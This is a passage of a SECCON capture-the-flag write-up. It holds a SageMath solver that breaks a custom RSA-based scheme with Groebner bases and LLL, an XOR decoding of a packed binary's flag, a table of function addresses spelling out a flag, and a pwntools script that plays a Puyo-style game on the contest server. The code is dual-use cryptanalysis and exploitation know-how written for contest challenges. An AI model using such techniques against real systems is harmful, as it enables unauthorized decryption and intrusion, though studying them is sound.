Then we can gain every alphas are expressed with alphas[35].
Since `alpha_sum_rsa` is given, we can recover all the alphas.
### Recover pvec
After that, we can recover pvec with LLL. 
But since first row of G is `[1, 1, ..., 1]`, we cannot recover first value of pvec.
We can recover p with just running `small_roots`.
### Recover keyvec
In modulo p (or q), the `make_random_vector2` has 14 non-zero values out of 36 total elements.
Since 22C8/36C8 = 0.010567.., we can simply use a brute-force method to identify the 8 indices where `make_random_vector2` is zero.
```python
from output import *
## recover alphas
R = Zmod(N)
PR = PolynomialRing(R, [f"alpha_{i}" for i in range(36)])
alphas = list(PR.gens())
double_polys = [alphas[i]^2 - double_alphas[i] for i in range(36)]
fs = []
for m in range(5):
    f = 1
    for i in range(7*m, 8+7*m):
        for j in range(i + 1, 8+7*m):
            f *= alphas[j] - alphas[i]
            for k in range(7*m, 8+7*m):
                f %= double_polys[k]
    fs.append(f-dets[m])
alphas_c = []
gb = ideal(double_polys + fs).groebner_basis()
for i in range(35):
    t1, t2 = gb[i + 1]
    assert t1[1] == alphas[i]
    assert t2[1] == alphas[35]
    alphas_c.append(-t2[0])
alphas_c.append(1)
alphas[35] = alpha_sum_rsa / (sum(alphas_c)^0x10001 * R(double_alphas[35])^0x8000)
for i in range(35):
    alphas[i] = alphas[35] * alphas_c[i]
n, k = 36, 8
def make_G(R, alphas):
    mat = []
    for i in range(k):
        row = []
        for j in range(n):
            row.append(alphas[j]^i)
        mat.append(row)
    mat = matrix(R, mat)
    return mat
G = make_G(R, alphas)
for i in range(5):
    assert dets[i] == G.submatrix(0,i*k-i,8,8).det()
for i in range(36):
    assert alphas[i]^2 == double_alphas[i]
## recover pvec
M = Matrix(ZZ, n + k + 1, n + k + 1)
M[0, 0] = 2^1000
for i in range(n):
    M[0, k + 1 + i] = p_encoded[i]
for i in range(k):
    for j in range(n):
        M[1 + i, k + 1 + j] = G[i, j]
    M[1 + i, 1 + i] = 2^(1000-512//k)
for i in range(n):
    M[k + 1 + i, k + 1 + i] = N
M = M.LLL()
for v in M:
    if v[0] == 2^1000:
        break
p = 0
pvec = vector(R, -v[1:k + 1]) / R(2^(1000-512//k))
randvector1 = vector(R, v[k+1:])
assert vector(R, p_encoded) == pvec * G + randvector1
for _ in v[k+1:]:
    assert 0 <= _ < 2^1000
p = 0
for i in range(k):
    p <<= 512//k
    p += ZZ(pvec[-1 - i])
PR.<x> = PolynomialRing(R, implementation='NTL')
f = p + x
p += ZZ(f.small_roots(beta=0.4999)[0])
assert p.nbits() == 512
q = N // p
assert p * q == N
## recover keyvec
import random
R_p = Zmod(p)
G_p = Matrix(R_p, G)
key_encoded_p = vector(R_p, key_encoded)
while True:
    sample_pos = random.sample(range(n), k)
    sample_G = G_p.matrix_from_columns(sample_pos)
    sample_key_encoded = vector(R_p, [key_encoded[sample_pos[i]] for i in range(k)])
    keyvec_p = sample_key_encoded * sample_G.inverse()
    randvector2_p = key_encoded_p - keyvec_p*G_p
    sample_pos = []
    for i in range(n):
        if randvector2_p[i]: 
            sample_pos.append(i)
    if k <= len(sample_pos) <= 14:
        break
R_q = Zmod(q)
G_q = Matrix(R_q, G)
key_encoded_q = vector(R_q, key_encoded)
sample_G = G_q.matrix_from_columns(sample_pos[:k])
sample_key_encoded = vector(R_q, [key_encoded[sample_pos[i]] for i in range(k)])
keyvec_q = sample_key_encoded * sample_G.inverse()
randvector2_q = key_encoded_q - keyvec_q*G_q
sample_pos = []
for i in range(n):
    if randvector2_q[i]: 
        sample_pos.append(i)
assert len(sample_pos) <= 14
keyvec = []
for i in range(k):
    keyvec.append(crt([ZZ(keyvec_p[i]), ZZ(keyvec_q[i])],[p, q]))
keyvec = vector(R, keyvec)
import hashlib
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
key = hashlib.sha256(str(keyvec).encode()).digest()
cipher = AES.new(key, AES.MODE_ECB)
print(unpad(cipher.decrypt(encrypted_flag), AES.block_size))
```
# Rev
## packed
Should not unpack by `upx -d` and see main. Function `main` is fake.
Simple xor encryption.
```python=
key = [0xe8,0x4a,0x00,0x00,0x00,0x83,0xf9,0x49,0x75,0x44,0x53,0x57,0x48,0x8d,0x4c,0x37,0xfd,0x5e,0x56,0x5b,0xeb,0x2f,0x48,0x39,0xce,0x73,0x32,0x56,0x5e,0xac,0x3c,0x80,0x72,0x0a,0x3c,0x8f,0x77,0x06,0x80,0x7e,0xfe,0x0f,0x74,0x06,0x2c,0xe8,0x3c,0x01]
target = [0xbb,0x0f,0x43,0x43,0x4f,0xcd,0x82,0x1c,0x25,0x1c,0x0c,0x24,0x7f,0xf8,0x2e,0x68,0xcc,0x2d,0x09,0x3a,0xb4,0x48,0x78,0x56,0xaa,0x2c,0x42,0x3a,0x6a,0xcf,0x0f,0xdf,0x14,0x3a,0x4e,0xd0,0x1f,0x37,0xe4,0x17,0x90,0x39,0x2b,0x65,0x1c,0x8c,0x0f,0x7c]
print(bytes(map(lambda x: x[0] ^ x[1], zip(key, target))))
```
## Jump
There is a switch case thing in 0x4009EC. But the binary call functions in different way.
```text=
0x40090C : SECC
0x400718 : ON{5
0x400650 : h4k3
0x4006B4 : _1t_
0x400804 : up_5
0x40096C : h-5h
0x40077C : -5h5
0x40088C : hk3}
```
## Reaction
Puyopuyo without display.
```python=
from pwn import *
p = remote("reaction.seccon.games", 5000)
#context.log_level = "DEBUG"
lst = [
    [13, 0],
    [11, 1],
    [10, 1],
    [12, 1],
    [9, 3],
    [0, 0],
    [9, 3],
    [0, 0],
    [0, 0],
    [8, 3],
    [0, 3],
    [9, 3],
    [7, 1],
    [6, 3],
    [0, 0],
    [11, 1],
    [6, 0],
    [0, 0],
    [6, 1],
    [8, 0],
    [6, 3],
    [4, 3],
    [4, 3],
    [11, 1],
    [0, 2],
    [3, 1],
    [5, 3],
    [3, 0],
    [0, 3],
    [13, 0],
    [2, 1],
    [13, 0],
    [4, 3],
    [13, 0],
    [1, 0],
    [0, 0],
    [13, 0],
    [13, 0],
    [0, 0],
    [12, 0],
    [12, 0],
    [2, 3],
    [3, 0],
    [2, 3],
    [12, 0],
    [2, 1],
    [0, 0],
    [13, 0],
    [11, 0],
    [11, 0],
    [1, 2],
    [1, 0]
]
pp = 0
while True:
    r1 = p.recv(2)
    print(pp + 1, list(r1))
    if r1[0] >= 0x5:
        p.interactive()
    if pp < len(lst):
        p.send(bytes(lst[pp]))
    else:
        p.send(bytes([0, 0]))
    pp += 1
p.interactive()
```
```text=
Final State
[ , , , , , , , , , , , , , ]
[ , , , , , , , , , , , , , ]
[ , , , , , , , , , , , , ,3]
[ , , , , , , , , , , , ,4,2]
[ , , ,2, , , , , , , , ,2,1]
[4, , ,3, , , , , , , ,1,4,3]
[3, , ,1, , , , , , , ,2,1,3]
[4,4, ,1, , ,2, , , , ,3,4,2]
[4,4, ,1, , ,2, , , , ,1,3,1]
[4,2,1,2,3,2,1,3,4,1,3,2,4,2]
[3,4,2,1,2,3,2,1,3,4,1,3,2,4]
[3,4,2,1,2,3,2,1,3,4,1,3,2,4]
[3,4,2,1,2,3,2,1,3,4,1,3,2,4]
```